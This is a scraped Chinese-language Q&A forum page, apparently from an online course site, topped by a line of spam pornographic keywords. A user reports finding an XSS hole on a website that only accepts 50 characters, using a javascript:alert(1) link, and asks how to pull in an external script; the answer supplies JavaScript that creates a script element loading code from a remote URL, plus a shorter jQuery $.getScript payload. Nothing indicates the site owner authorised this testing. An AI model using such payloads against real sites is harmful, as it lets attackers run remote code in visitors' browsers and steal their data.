亚洲在线久爱草,狠狠天天香蕉网,天天搞日日干久草,伊人亚洲日本欧美

為了賬號安全，請及時綁定郵箱和手機立即綁定
已解決430363個問題，去搜搜看，總會有你想問的

你能在 javascript 中添加腳本的源代碼嗎

你能在 javascript 中添加腳本的源代碼嗎

烙印99 2021-10-21 10:54:56
我在一個網站上發現了一個 xss 漏洞，但它只允許<a href=javascript:alert(1)>. 問題是它只接受 50 個字符。我的問題：我可以從獲取腳本的地方以類似的方式添加源代碼嗎？javascript:script.src=and here the source of my code
查看完整描述

1 回答

?
PIPIONE

TA貢獻1829條經驗 獲得超9個贊

有人可以像這樣加載外部腳本，但它有 50 多個字符 let s = document.createElement("script"); s.src = "url"; document.head.appendChild(s);

如果你有 JQuery，代碼會更?。?nbsp;$.getScript("url");


查看完整回答
反對 回復 2021-10-21
  • 1 回答
  • 0 關注
  • 145 瀏覽
慕課專欄
更多

添加回答

舉報

0/150
提交
取消
微信客服

購課補貼
聯系客服咨詢優惠詳情

 幫助反饋 APP下載

慕課網APP
您的移動學習伙伴

 公眾號

掃描二維碼
關注慕課網微信公眾號